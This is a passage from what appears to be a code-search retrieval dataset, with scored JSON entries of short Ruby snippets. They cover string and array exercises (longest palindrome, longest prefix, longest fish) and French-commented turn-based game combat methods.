"text": "def longest_palindrome(str)\r\n pal = \"\"\r\n (0..str.size).each do |x|\r\n i = 1\r\n while (i < (str.size-x)) do\r\n\t if str[x,i].reverse == str[x,i]\r\n\t pal = str[x,i] if pal.size < str[x,i].size\r\n\t end\r\n\t i+= 1\r\n\tend\r\n end\r\n pal\r\nend",
"title": ""
},
{
"docid": "769c07d872fb673997c0e6cbfb343ca5",
"score": "0.57851785",
"text": "def longest_build_part\n build_parts.max_by { |part| part.elapsed_time || 0 }.elapsed_time\n end",
"title": ""
},
{
"docid": "b8696368f60e8007398c6332d1cff705",
"score": "0.5784354",
"text": "def longest_day_length\nend",
"title": ""
},
{
"docid": "3a1523f245c1ce28066cc39f4a788a4c",
"score": "0.57831776",
"text": "def clever_octopus\n longest = \"\"\n FISH_ARR.each_with_index do |el, idx|\n longest = el if idx == 0\n el.length > longest.length ? longest = el : longest\n end\n longest\nend",
"title": ""
},
{
"docid": "f44de97c43eec012c051e58c7f0f9217",
"score": "0.5770904",
"text": "def longest_chain\n\t\ttime do\n\t\t\t(1..@num_limit).each do |num|\n\t\t\t\tif self.collatz_length(num) > @max_length\n\t\t\t\t\t@max_num = num\n\t\t\t\t\t@max_length = @chain_lengths[num]\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"The maximum collatz chain length starting below #{@num_limit} is #{@max_length} starting with #{@max_num}.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8b047a7f4b045c48b437d030af1a5a66",
"score": "0.5769934",
"text": "def clever_octopus(array)\n longest = array.first\n (1...array.length).each do |i|\n longest = array[i] if longest.length < array[i].length\n end\n longest\nend",
"title": ""
},
{
"docid": "455f647be475ea41072227308d478489",
"score": "0.57680017",
"text": "def longest(s)\n\tall_results = []\n\n\tlist_of_chars = s.chars\n\n\tlist_of_chars.each_with_index do |char, index|\n\n\t\tresult = ''\n\t\tnext_index = index + 1 \n\t\tcurrent_index = index\n\t\tresult << char\n\n\t\tif current_index == list_of_chars.length - 1\n\t\t\tall_results = all_results.max { |a,b| a.length <=> b.length }\n\t\telse\n\t\t loop do\n\t\t \tif list_of_chars[next_index] == nil\n\t\t \t\tall_results << result\n\t\t \t\tbreak\n\t\t\t\telsif list_of_chars[next_index] >= list_of_chars[current_index]\n\t\t\t\t\tresult << list_of_chars[next_index]\n\t\t\t\t\tcurrent_index += 1\n\t\t\t\t\tnext_index += 1\n\t\t\t\telse\n\t\t\t\t\tall_results << result\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tall_results\nend",
"title": ""
},
{
"docid": "b1f3ede185ae64f6d9de7cc53563ea33",
"score": "0.5762076",
"text": "def longest_slide_down(pyramid) # rubocop:disable Metrics/AbcSize\n (pyramid.size - 2).downto(0) do |row|\n 0.upto(pyramid[row].size - 1) do |col|\n pyramid[row][col] += [\n pyramid[row + 1][col] || 0,\n pyramid[row + 1][col + 1] || 0\n ].max\n end\n end\n pyramid[0][0]\nend",
"title": ""
},
{
"docid": "f6af1b78d18aec6bd6b45b493ee98614",
"score": "0.5761644",
"text": "def longest_prefix(strings)\n\n # Assign relevant variables\n winning_ticket = \"\"\n i = 0 \n fastest_furthest = strings[0][i]\n\n # Account for non-nil values and return method result \n while fastest_furthest != nil\n strings.each do |string|\n unless string[i] == fastest_furthest\n return winning_ticket\n end \n end \n winning_ticket += fastest_furthest\n i += 1\n fastest_furthest = strings[0][i]\n end\n return winning_ticket\nend",
"title": ""
},
{
"docid": "a81ed5091a3d9ccd28f07c4780b31304",
"score": "0.5761565",
"text": "def longest_string(array_of_strings)\n answer=array_of_strings.max_by(&:length)\n return answer\nend",
"title": ""
},
{
"docid": "58a5053bc415714157e0bb348ae95e58",
"score": "0.5759626",
"text": "def longest_string list\n # longest = ''\n # list.each do |str|\n # if str.length > longest.length\n # longest = str\n # end\n # end\n # longest\n list.max_by{|i| i.length}\n # list.max_by(&:length)\nend",
"title": ""
},
{
"docid": "d087e72a887776ad036e25328a6eabe3",
"score": "0.57529247",
"text": "def clever_octopus(arr)\n longest = arr.first\n\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend",
"title": ""
},
{
"docid": "6ab5db4285d97a9cdc99c22b15cae428",
"score": "0.5752894",
"text": "def linear_longest_word(arr)\n max_length=0\n max_str=arr[0]\n arr.each do |str| \n curr_length=str.length\n if curr_length>max_length\n max_length=curr_length\n max_str=str\n end\n end\n max_str\nend",
"title": ""
},
{
"docid": "d8c760c56242f5981a9ed2ad0fbf2a5d",
"score": "0.57511383",
"text": "def longest_string(strings)\r\n#+++solution+++\r\n strings.inject('') { | best, this | (best.length < this.length) ? this : best }\r\n#---solution---\r\nend",
"title": ""
},
{
"docid": "bb6ce6d13f4b2ed51ff15f6bd9f476d6",
"score": "0.57461715",
"text": "def longest_slide_down(pyramid)\n slide = pyramid.shift[0]\n max_index = 0\n until pyramid.empty?\n this_level = pyramid[0][max_index..max_index + 1]\n max_index += 1 if this_level[1] > this_level[0]\n slide << this_level.max\n pyramid.shift\n end\n p slide\n slide.flatten.inject(:+)\nend",
"title": ""
},
{
"docid": "103eff6a2397edc8aa5a3ef7730ed879",
"score": "0.57414263",
"text": "def clever_octopus(fish)\n longest_fish = fish[0]\n fish.each { |fishy| longest_fish = fishy if fishy.length > longest_fish.length }\n longest_fish\nend",
"title": ""
},
{
"docid": "a4dec7c5680d01dfd343f72d8a98aefd",
"score": "0.5740828",
"text": "def longest_fishie(fishies)\n longest_fish = \"\"\n\n fishies.each do |fish|\n longest_fish = fish if fish.length > longest_fish.length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "db6457a1764cd56e73de6c570a060a2d",
"score": "0.5739056",
"text": "def longest_string string \n\tar = ['One','Two','Three','Four','Five']\n\tar.max_by(&:length)\nend",
"title": ""
},
{
"docid": "37b2aac9a6288e1c7a168ff14c3e7a0e",
"score": "0.5731277",
"text": "def longest_prefix(strings)\n if strings.length == 1\n return strings\n end\n\n prefix = \"\"\n str_index = 0\n\n\n until (strings[0][str_index] != strings[1][str_index]) || (strings[0][str_index] == nil && strings[1][str_index] == nil)\n prefix += strings[0][str_index]\n str_index += 1\n end\n\n strings.each do |string|\n return \"\" if prefix[0] != string[0]\n\n prefix.length.times do |i|\n if prefix[i] != string[i]\n prefix = prefix[0...i]\n break\n end\n end\n end\n return prefix\nend",
"title": ""
},
{
"docid": "2951c2f8c4c1fce60c3c68c95f255b25",
"score": "0.572545",
"text": "def longest_prefix(strings)\n min = strings.min \n max = strings.max\n string_pre = min.size.times do |i| \n break i if min[i] != max[i]\n end\n min[0...string_pre]\nend",
"title": ""
},
{
"docid": "d552446266370f54a4fae9769d5cd58a",
"score": "0.5721935",
"text": "def longest_palindrome(string)\n largest = ''\n (0...string.length).each do |i|\n (i + 1...string.length).each do |j|\n sub_str = string[i..j]\n if sub_str == sub_str.reverse\n if sub_str.length > largest.length\n largest = sub_str\n end\n end\n end\n end \n largest\nend",
"title": ""
},
{
"docid": "b3f083b70ad0b48b8e995ab61c13ac00",
"score": "0.5719168",
"text": "def longest_prefix(name)\n @symbols.longest_prefix(to_name(name))\n end",
"title": ""
},
{
"docid": "1bbc33e8812921fb26e52c26f6a97071",
"score": "0.5710124",
"text": "def longest_slide_down(pyramid)\n slide_sum = pyramid.reverse.each.inject(0) do |sum, n|\n n.map.with_index {|val, i| val + [sum[i], sum[i+1]].max}\n end\n slide_sum[0]\nend",
"title": ""
},
{
"docid": "6c9a8fd70b86fee984cc735f185085e5",
"score": "0.57061815",
"text": "def longest_fishie_nested_loop(fishies)\n longest_fish = \"\"\n (0...fishies.length).each do |i|\n (i+1...fishies.length).each do |j|\n next if i == fishies.length - 1\n fish_compare = fishies[i].length <=> fishies[j].length\n # debugger\n if fish_compare > 0\n longest_fish = fishies[i] if fishies[i].length > longest_fish.length\n elsif fish_compare < 0\n longest_fish = fishies[j] if fishies[j].length > longest_fish.length\n end\n end\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "e809397a0b3afd4fff6b8262d427c951",
"score": "0.56935155",
"text": "def longest(str)\n \n alphabet_substr = find_substr(str).select do |substr|\n substr.chars == substr.chars.sort\n end\n alphabet_substr.sort_by! { |str| str.length }\n\n longest = alphabet_substr.select { |str| str.length == alphabet_substr.last.length }\n longest.shift\nend",
"title": ""
}
] |
36970a3cf4e3098bb80e021258f2a5b8 | === >roar (Fin de combat) === | [
{
"docid": "eb7537459e922c31472b8d1a942da760",
"score": "0.56828475",
"text": "def roar(target)\n @scene.battle_end(1) #>Fuite, à améliorer\n end",
"title": ""
}
] | [
{
"docid": "acf27f4fccf6cbac2be056662bac20fb",
"score": "0.68568957",
"text": "def combat_subroutine\n # TODO:\n end",
"title": ""
},
{
"docid": "e7e8232ea6a4ceff772e6a757993b743",
"score": "0.67298216",
"text": "def end \n puts \"-------------------------------------------------------------------------------\"\n puts \"La partie est finie\"\n if @human_player.life_points > 0 #Si le héros a vaicu les ennemis\n puts \"BRAVO ! TU AS GAGNE !\" #Message de victoire\n else #Si le héros s'est fait tuer\n puts \"Loser ! Tu as perdu !\" #Message de défaite\n end\n end",
"title": ""
},
{
"docid": "c4d79ada37b0870a9e3f2c9b7c25a85d",
"score": "0.670573",
"text": "def attaquer(joueur)\n\t\t# combat jusqu'a la mort du joueur ou de l'ennemi\n\t\twhile(joueur.pointsDeVie>0 && self.pointsDeVie>0)\n\t\t\t@pointsDeVie-= joueur.arme.puissance / @protection.puissance\n\t\t\tjoueur.pointsDeVie-= @arme.puissance / joueur.protection.puissance\n\t\tend\n\t\t# si l'ennemi est mort avant le joueur\n\t\tif( joueur.pointsDeVie > 0 )\n\t\t\tjoueur.or += @or\n\t\t\tjoueur.incScore( @or+@arme.puissance+@protection.puissance )\n\t\t\tmeurt\n\t\tend\n\tend",
"title": ""
},
{
"docid": "677a7959568ec21ea1bc9466a26633e1",
"score": "0.6538062",
"text": "def endgame\n # afficher tout ce qui est derriere puts\n puts \"La partie est finie\"\n # si le point de vie du personnage utilisateur est inferieurou égal à 0, afficher Loser ! Tu as perdu ! si non affciher BRAVO ! TU AS GAGNE !\n (@human_player.life_points <= 0) ? (puts \"Loser ! Tu as perdu !\") : (puts \"BRAVO ! TU AS GAGNE !\")\n end",
"title": ""
},
{
"docid": "d18794094ed67fff87a9f1f6f139cae3",
"score": "0.64502597",
"text": "def end\n puts \"la partie est termine\"\n if @human_player.life_points == 0\n puts \"tu as perdu\" \n else \n puts \"tu as gagne\"\n end\n end",
"title": ""
},
{
"docid": "befce1b09644b5d74e22e6f1d97e56b5",
"score": "0.64202636",
"text": "def end_game\n puts 'La partie est finie'\n if @human_player.life_points.positive?\n puts 'BRAVO ! TU AS GAGNÉ !'\n trophy\n else\n puts 'Loser ! Tu as perdu !'\n loose\n end\n end",
"title": ""
},
{
"docid": "befce1b09644b5d74e22e6f1d97e56b5",
"score": "0.64202636",
"text": "def end_game\n puts 'La partie est finie'\n if @human_player.life_points.positive?\n puts 'BRAVO ! TU AS GAGNÉ !'\n trophy\n else\n puts 'Loser ! Tu as perdu !'\n loose\n end\n end",
"title": ""
},
{
"docid": "144274d2e1d79fbf58220488cab8d661",
"score": "0.6412883",
"text": "def end \n puts \"La partie est terminé\"\n\n if @human_player.life_points > 0\n puts \"BRAVO ! TU AS GAGNE !\"\n else\n puts \"Loser ! Tu as perdu !\"\n end\n end",
"title": ""
},
{
"docid": "14f993b3c42084f797dcb0cbc992ae24",
"score": "0.6383639",
"text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5)\n puts \"O dano monstro foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts 'Voce está morto!'\n end\n # puts 'Voce está morto!' unless is_alive?\n end",
"title": ""
},
{
"docid": "9a70d23560d231d23dfa9a49d231ce53",
"score": "0.6381135",
"text": "def combat\n combat = ((self[:defence_level] + self[:hit_points_level] + (self[:prayer_level] / 2).floor) * 0.2535).to_i + 1\n melee = (self[:attack_level] + self[:strength_level]) * 0.325\n ranger = (self[:range_level] * 1.5).to_i.floor * 0.325\n magic = (self[:magic_level] * 1.5).to_i.floor * 0.325\n\n combat += melee if melee >= ranger && melee >= magic\n combat += ranger if ranger >= melee && ranger >= magic\n combat += magic if magic >= melee && magic >= ranger\n combat <= 126 ? combat : 126\n end",
"title": ""
},
{
"docid": "48cdd1785f3ddb57413545f2b408135b",
"score": "0.6350129",
"text": "def decidirMovimientos!\n if enemigosCera(:backward) && enemigosCera(:forward)\n @warrior.walk!\n elsif enemigosCera(:forward) && !enemigosCera(:backward)\n @warrior.shoot!\n elsif !enemigosCera(:backward) && !enemigosCera(:forward)\n @warrior.rest!\n elsif @warrior.feel.wall?\n @warrior.pivot!\n elsif @warrior.health <= 5\n @warrior.walk!(:backward)\n end\n end",
"title": ""
},
{
"docid": "946e07beee39f587b5eda34af8e5e271",
"score": "0.63485694",
"text": "def game_combat\n \n while @hplayer1.life_point >0 && (@player1.life_point > 0 || @player2.life_point >0)\n puts \"\\n\\n Voici l'etat de nos joueurs\"\n puts \"#{@hplayer1.show_stats}\"\n puts \"#{@player1.show_stats}\"\n puts \"#{@player2.show_stats}\"\n puts \"\\n\\n\"\n puts \"what do you want to do ?\"\n puts \"a - chercher une meilleure arme\"\n puts \"s - chercher à se soigner\"\n puts\n puts \"attaquer un joueur en vue :\"\n puts \"1 - #{@player1.name} a #{@player1.show_state} points de vie\"\n puts \"2 - #{@player2.name} a #{@player2.show_state} points de vie\"\n\n @action = gets.chomp\n \n if @action == \"a\"\n @hplayer1.search_weapon\n elsif @action == \"s\"\n @hplayer1.search_health_pack\n elsif @action == \"1\"\n @hplayer1.attack(player_1)\n elsif @action == \"2\"\n @hplayer1.attack(player_2)\n else puts \"Please select option a, s, 1 or 2\"\n end\n\n puts\n puts \"A l'attaque\"\n ennemies.each { |player| \n if @player.life_point >= 0\n @player.attack(@hplayer1)\n end\n }\n\n round += 1\n puts\n puts \"Voici l'etat de nos joueurs :\"\n @hplayer1.show_state\n @player2.show_state\n @player1.show_state\n puts \n end\n\n end",
"title": ""
},
{
"docid": "192bb281dc0288fb51b713a83f41c97d",
"score": "0.63019603",
"text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5) + 3\n puts \"Você acertou o montro, o seu dano foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts \"Monstro está morto!\"\n end\n\n unless alvo.esta_vivo?\n puts \"O monstro está morto \\n\\n\"\n self.numero_de_mortos += 1\n end\n\n end",
"title": ""
},
{
"docid": "d61ad07b3f6c6896ff214aecffbbcee7",
"score": "0.6299877",
"text": "def end_game\n puts \"La partie est finie\" \n if @human_player.life_points > 0\n puts \"BRAVO ! TU AS GAGNE !\"\n else \n puts \"Loser ! Tu as perdu !\"\n end\n end",
"title": ""
},
{
"docid": "cde2b6b797c141f26c9e4908565715f1",
"score": "0.62951374",
"text": "def combat()\n $hexes.each do |h|\n combathex(h) unless h.units.empty?\n end\nend",
"title": ""
},
{
"docid": "a998812058bd1e1a62185337474a45f2",
"score": "0.62417513",
"text": "def developCombat\n combatResult = @currentPlayer.combat(@currentMonster)\n if (combatResult == CombatResult::LOSEANDCONVERT)\n cultis = CultistPlayer.new(@currentPlayer,@dealer.nextCultist)\n # Busco la posicion del jugador y la reemplazo.\n @players.insert(@players.index(@currentPlayer), cultis)\n \n @players.each { |jugador| \n\n if ((jugador.getEnemy).equal?(@currentPlayer))\n jugador.setEnemy(cultis)\n end\n }\n \n @currentPlayer = cultis\n \n end\n \n \n @dealer.giveMonsterBack(@currentMonster)\n return combatResult\n end",
"title": ""
},
{
"docid": "0bb6e62dcc1f6099cf273bcb623403ec",
"score": "0.6227982",
"text": "def combat\r\n @combat_mobs.to_a.each do |mob|\r\n mob.combat\r\n end\r\n @regen_mobs.to_a.each do |mob|\r\n mob.combat_regen\r\n end\r\n return\r\n end",
"title": ""
},
{
"docid": "dda2840e497dc0687dc2e9ee40696cea",
"score": "0.6217239",
"text": "def end\n puts 'Fin de la Partie'\n if @human_player.alive?\n puts 'BRAVO ! Tu as Gagné la game !!'\n else\n puts 'Dommage ! Tu as perdu la partie !'\n end\n end",
"title": ""
},
{
"docid": "0622072c655b92ace0ee34d93161a137",
"score": "0.621088",
"text": "def end\n\t\tif @user1.life_points>0 then\n\t\t\tputs \"BRAVO !!!! TU AS GAGNE !\"\n\t\telse\n\t\t\tputs \"BOUUUUUUU! TU AS PERDU !\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e227a54a8302b83ea8d978e1d36e07c0",
"score": "0.6190093",
"text": "def combat_over\n\t\t@player.state = Player::STATE_STANDING\n\t\t$world.combats.each do |combat|\n\t\t\tif (combat == self)\n\t\t\t\t$world.combats.delete combat\n\t\t\t\tcombat = nil\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "931999712f272840ec5a9b22c2639025",
"score": "0.61675197",
"text": "def finished\n\t\tputs \"FIN DE PARTIE.\"\n\t\tif human_player.life_points <= 0 \n\t\t\tputs \"Loser ! Tu as perdu !\".center(215)\n\t\telse puts \"BRAVO ! TU AS GAGNE !\".center(215)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "588eb0ccf17b95165c3f817382502837",
"score": "0.61562806",
"text": "def end\n if @human_player.life_points > 0\n puts \"\\n\\n------------------- THE END : BRAVO ! TU AS GAGNE !-----------------------\"\n else\n puts \"\\n\\n------------------- THE END : Loser ! Tu as perdu !-----------------------\"\n end\n end",
"title": ""
},
{
"docid": "af12673aa30bde04f3bfe081b6fd9398",
"score": "0.6147565",
"text": "def combat(health, damage)\n health - damage > 0 ? health - damage : 0\nend",
"title": ""
},
{
"docid": "af12673aa30bde04f3bfe081b6fd9398",
"score": "0.6147565",
"text": "def combat(health, damage)\n health - damage > 0 ? health - damage : 0\nend",
"title": ""
},
{
"docid": "8dbd1864046460ef89a6f7ea66e93123",
"score": "0.613901",
"text": "def force_end\n self.player_missions.where(success: nil).each do |mission|\n mission.debrief\n end\n end",
"title": ""
},
{
"docid": "87d0f1f559c421cf61ad15d65a421679",
"score": "0.6122756",
"text": "def combat\r\n if @attacking && @active && @attacking.active\r\n do_round_of_attacks(@attacking)\r\n end\r\n return\r\n end",
"title": ""
},
{
"docid": "c4c6055426515890587c1d4684a89c04",
"score": "0.6108849",
"text": "def develop_combat()\n dealer = CardDealer.instance\n \n result = @current_player.combat(@current_monster)\n dealer.give_monster_back(@current_monster)\n \n return result\n end",
"title": ""
},
{
"docid": "5f5e84d03b1cbad118ec49a2f0112989",
"score": "0.6099935",
"text": "def borrar\n\t\twhile(!vacia)\n\t\t\tself.extraerCabeza\n\t\tend\n\tend",
"title": ""
},
{
"docid": "41471c519422d52f2212eb9ceeb52bca",
"score": "0.60913664",
"text": "def sai_carro\n\t\tif @atual > 0\n\t\t\t@atual -= 1\t\n\t\t\tretorna = \"Um carro saiu.\"\n\t\telse\n\t\t\tretorna = \"Nao ha carros para sair.\"\n\t\tend\n\t\tprint retorna + \"\\n\"\n\t\tprint \"Status: #{estado[1]}\\n\"\n\t\tretorna\n\tend",
"title": ""
},
{
"docid": "83d5c57733c354e78bd4c6efdacb8293",
"score": "0.6088828",
"text": "def get_armory(danger)\n if @inventory['suit'] >= 1\n puts \"YOUR ARMOR INCREASES YOUR CHANCE OF SUCCESS\" \n danger = 3 * (danger / 4)\n end\n if @inventory['axe']==0 and @inventory['sword']==0 \n puts \"YOU HAVE NO WEAPONS. YOU MUST FIGHT WITH BARE HANDS\"\n danger += (danger + danger/5)\n end\n puts \"YOU HAVE ONLY AN AXE TO FIGHT WITH\" if @inventory['axe']>=1 and @inventory['sword']==0\n puts \"YOU MUST FIGHT WITH YOUR SWORD\" if @inventory['axe']==0 and @inventory['sword']>=1 \n sleep(1)\n danger\n end",
"title": ""
},
{
"docid": "48fb788e19a78671ea9c84f1be8457fb",
"score": "0.6080546",
"text": "def borrar\n\t\twhile(!vacia)\n\t\t\tself.extraerCabeza\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ebcafa56279793a9f24aa8a2000933b2",
"score": "0.6072037",
"text": "def combat(m)\n myLevel = getCombatLevel\n monsterLevel = getOponentLevel(m)\n \n if !canISteal and Dice.instance.nextNumber < 3\n monsterLevel += @enemy.getCombatLevel\n end\n \n if myLevel > monsterLevel\n applyPrize(m)\n if @level >= @@MAXLEVEL\n combatResult = CombatResult::WINGAME\n else\n combatResult = CombatResult::WIN\n end\n else\n applyBadConsequence(m)\n if shouldConvert\n combatResult = CombatResult::LOSEANDCONVERT\n else\n combatResult = CombatResult::LOSE\n end\n end\n end",
"title": ""
},
{
"docid": "b0aab343b96b5bdcfce008fed9c135c9",
"score": "0.6062557",
"text": "def end\n\t\tputs \"La partie est terminée\"\n\t\tputs @player.life_points > 0 ? \"Bravo ! Tu as gagné !\" : \"Bouuuu ! T'as perdu..\"\n\tend",
"title": ""
},
{
"docid": "6d87115cb5c69ef962d1378e14beb924",
"score": "0.6040966",
"text": "def end\n @life == 0\n end",
"title": ""
},
{
"docid": "b7d286337f43e4aa05455209fcff7346",
"score": "0.6037971",
"text": "def combat\n result = @currentPlayer.combat(@currentMonster)\n CardDealer.instance.giveMonsterBack(currentMonster)\n if result == CombatResult::LOSEANDCONVERT\n cultist = CardDealer.instance.nextCultist\n newCultistPlayer = CultistPlayer.new(@currentPlayer,cultist)\n @currentPlayer = newCultistPlayer\n @players[@currentPlayerIndex] = @currentPlayer\n end\n result\n end",
"title": ""
},
{
"docid": "4a6397a84a76636a11b4b4cea7b273b2",
"score": "0.6016231",
"text": "def defense\n @defense + armor_bonus\n end",
"title": ""
},
{
"docid": "d83fa84cfee6508c165e682514af09f5",
"score": "0.59986496",
"text": "def entra_carro\n\t\tunless estado[0]\n\t\t\t@atual += 1\n\t\t\tretorna = \"Um carro estacionou.\"\n\t\telse\n\t\t\tretorna = \"Lotado.\"\n\t\tend\n\t\tputs retorna\n\t\tputs \"Status: #{estado[1]}\"\n\t\tretorna\n\tend",
"title": ""
},
{
"docid": "8afbebcff50c9a6fb4c706ba41346c8a",
"score": "0.59945035",
"text": "def turn_end\r\r\n BattleManager.set_battler_in_turn(nil) \r\r\n all_battle_members.each do |battler|\r\r\n refresh_status\r\r\n @log_window.wait_and_clear\r\r\n end\r\r\n turn_reset\r\r\n \r\r\n# for battler in all_battle_members\r\r\n# \r\r\n# # elemental effect\r\r\n# ori = battler.hp\r\r\n# dmg = 0\r\r\n# \r\r\n# if battler.fire_state_damage !=0\r\r\n# battler.animation_id = 265 \r\r\n# dmg += battler.fire_state_damage\r\r\n# end\r\r\n# \r\r\n# #p sprintf(\"fire DMG:%d\",dmg) \r\r\n# end\r\r\n \r\r\n end",
"title": ""
},
{
"docid": "072eebd1405c3c36467ce5300d4bd6c9",
"score": "0.59823906",
"text": "def end\n @enemies.each do |v|\n if @human_player.life_points > 0 && v.life_points <= 0\n puts \"BRAVO ! TU AS GAGNE !\"\n puts @human_player.name\n elsif v.life_points > 0 && @human_player.life_points <= 0\n puts \"Dommage ! Tu as perdu !\"\n break\n end\n end\n end",
"title": ""
},
{
"docid": "a0a0b4144bc831ff702fd7d570df3757",
"score": "0.593358",
"text": "def end_turn\n # run all end of turn effects \n @current_player.attack = 0 \n end",
"title": ""
},
{
"docid": "1ae98fe9ba2f6d641f2fb03278f4c615",
"score": "0.5924128",
"text": "def defend\n\t\t\tshield_add = rand(1..4)\n\t\t#\tplayer.mshield = player.level + 5\n\n\t\t\tif player.shield >= player.maxshield\n\t\t\t\tputs \"#{player.name} already has maximum defense!\"\n\t\t\t\taction\n\t\t\telsif (player.shield + shield_add) > player.maxshield\n\t\t\t\tplayer.shield = player.maxshield\n\t\t\t\tputs \"#{player.name} now has maximum defense!\"\n\t\t\t\taction\t\t\t\n\t\t\telse\n\t\t\t\tplayer.shield += shield_add\n\t\t\t\tputs \"#{player.name} prepares their defenses!\"\n\t\t\t\taction\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "b47c102ce4a1f0aabc49cadb47632a6c",
"score": "0.59182215",
"text": "def burrito_earned?\n calorie_balance >= Burrito::CALORIES\n end",
"title": ""
},
{
"docid": "ccaeec5aa7bc82a006cc59aeaeeaf68b",
"score": "0.5902724",
"text": "def end_game(player)\n puts \"La partie est finie.\"\n puts \" \"\n if player.life_points > 0\n puts \"BRAVO TU AS GAGNE\"\n else\n puts \"Loser! Tu as perdu!\"\n end\nend",
"title": ""
},
{
"docid": "2a7df4a6012b3c83365b6cc46e8fdc39",
"score": "0.589488",
"text": "def uno_mas\n @edad += 1\n if @edad < MAX_EDAD\n @altura += @inc_altura\n @contador += producirFruta if @edad >= @min_fruto\n else\n morir\n end \n @edad\n end",
"title": ""
},
{
"docid": "8a027ae348b11e2d2dfbfec702ba11b7",
"score": "0.5889656",
"text": "def blanchir()\n\t\t@etat = 0\n\tend",
"title": ""
},
{
"docid": "df315054e98d9adfbc00b4de336286b3",
"score": "0.58884937",
"text": "def combat (m)\n myLevel = getCombatLevel\n monsterLevel = getOponentLevel(m)\n \n if (myLevel>monsterLevel)\n applyPrize(m);\n \n if (@level>=@@MAXLEVEL)\n cr = CombatResult::WINGAME\n else\n cr = CombatResult::WIN\n end\n else\n applyBadConsequence(m)\n \n if(shouldConvert)\n cr = CombatResult::LOSEANDCONVERT\n else\n cr = CombatResult::LOSE \n end\n \n end\n \n return cr\n end",
"title": ""
},
{
"docid": "28bd6daa8f2ad30442a7390b4b92fb9e",
"score": "0.58879447",
"text": "def enviar_arroz(monto)\n\t\tif @arroz > monto\n\t\t\t@arroz = @arroz - monto\n\t\t\treturn monto\n\t\telse\n\t\t\tmonto = @arroz\n\t\t\t@arroz = 0\n\t\t\treturn monto\n\t\tend\n\tend",
"title": ""
},
{
"docid": "781160405b95d45cd03152f5fa465149",
"score": "0.58857554",
"text": "def stop_combat\r\n @attacking = nil\r\n @attack_speed_rollovers = nil\r\n Game.instance.remove_combat_mobile(self)\r\n target( attacking: self, list: @room.occupants ).each do |t|\r\n attacking_t = target( quantity: \"all\", attacking: t, list: t.room.occupants )\r\n if attacking_t.size > 0\r\n t.attacking = attacking_t.first\r\n else\r\n Game.instance.remove_combat_mobile(t)\r\n t.attacking = nil\r\n end\r\n end\r\n return\r\n end",
"title": ""
},
{
"docid": "3a79138bed6044a4b92e896ef6614441",
"score": "0.5882066",
"text": "def declared_bankrupt(loans,losses,instance_bank,instance_developer)\n losses=0\n status=instance_developer.get_bankrupt\n if status == \"yes\"\n then losses=loans\n loans=0\n instance_bank.is_solvent(losses)\n else print \"The bank isn't bankrupt.\",\"\\n\"\n end\n instance_developer.owes_amount\nend",
"title": ""
},
{
"docid": "af28b406084dd14614d3c078be751eb8",
"score": "0.5865342",
"text": "def end\n puts \".../*-+ THE GAME IS OVER +-*/...\"\n puts @user.life_points > 0 ? \"VOUS AVEZ GAGNE !!!\" : \"TU AS PERDU....\"\n end",
"title": ""
},
{
"docid": "8c5cd8d9faac72f7278a56e993e35108",
"score": "0.58583874",
"text": "def gets_damage(damages)\n @life_points -= damages\n @life_points = 0 if @life_points < 0\n puts \"le joueur #{@name} a été tué !\" if @life_points <= 0 \n end",
"title": ""
},
{
"docid": "eaade2f827ca7bb8610e5a34ec7dfe45",
"score": "0.5843179",
"text": "def gets_damage(damage_received)\n#ici, on definit la soustraction des degats au HP \n @life_points = @life_points - damage_received\n#un joueur meurt si HP <= 0 \n if @life_points <= 0\n puts \"le joueur #{@name} a été tué\"\n end\n end",
"title": ""
},
{
"docid": "5ae93be857c02f48ef8b6113d9f46062",
"score": "0.58402365",
"text": "def end_of_game(user)\n\tputs \"La partie est finie\"\n\tif user.life_points > 0 \n\t\tputs \"BRAVO ! TU AS GAGNE !\"\n\telse\n\t\tputs \"Loser ! Tu as perdu !\"\n\tend\nend",
"title": ""
},
{
"docid": "231e972c37c5eee6b087ef4aa2d7b30a",
"score": "0.5820385",
"text": "def game_end(user)\n puts \"La partie est finie\" \n if user.life_points > 0\n puts \"BRAVO ! TU AS GAGNE !\"\n else \n puts \"Loser ! Tu as perdu !\"\n end\nend",
"title": ""
},
{
"docid": "832262d38ba9a1e963be6f509336b127",
"score": "0.58170515",
"text": "def combathex(h) #private\n h.units.shuffle.each do |u|\n next if u.removed\n u2 = findtarget(u)\n next unless u2\n \n u2.player.friendly.remove u.player #sma\n if !destroys(u, u2)\n u.event \"Attacking\", u2.namepidtype, \"without effect\"\n u2.event \"Attacked by\", u.namepidtype, \"without effect\"\n h.event u.namepidtype, \"attacks\", u2.namepidtype, \"without effect\"\n else\n u.event \"Attacking and destroying\", u2.namepidtype\n u2.event \"Destroyed by\", u.namepidtype\n h.event u.namepidtype, \"attacks and destroys\", u2.namepidtype\n removeunit(u2)\n end\n end\nend",
"title": ""
},
{
"docid": "f6863f24c66b5aca46fb69163012db0c",
"score": "0.57952833",
"text": "def barco_hundido?\n @tamanio == @disparos_recibidos\n end",
"title": ""
},
{
"docid": "05c1ccb79341ecc396b677410a18f5ef",
"score": "0.5793129",
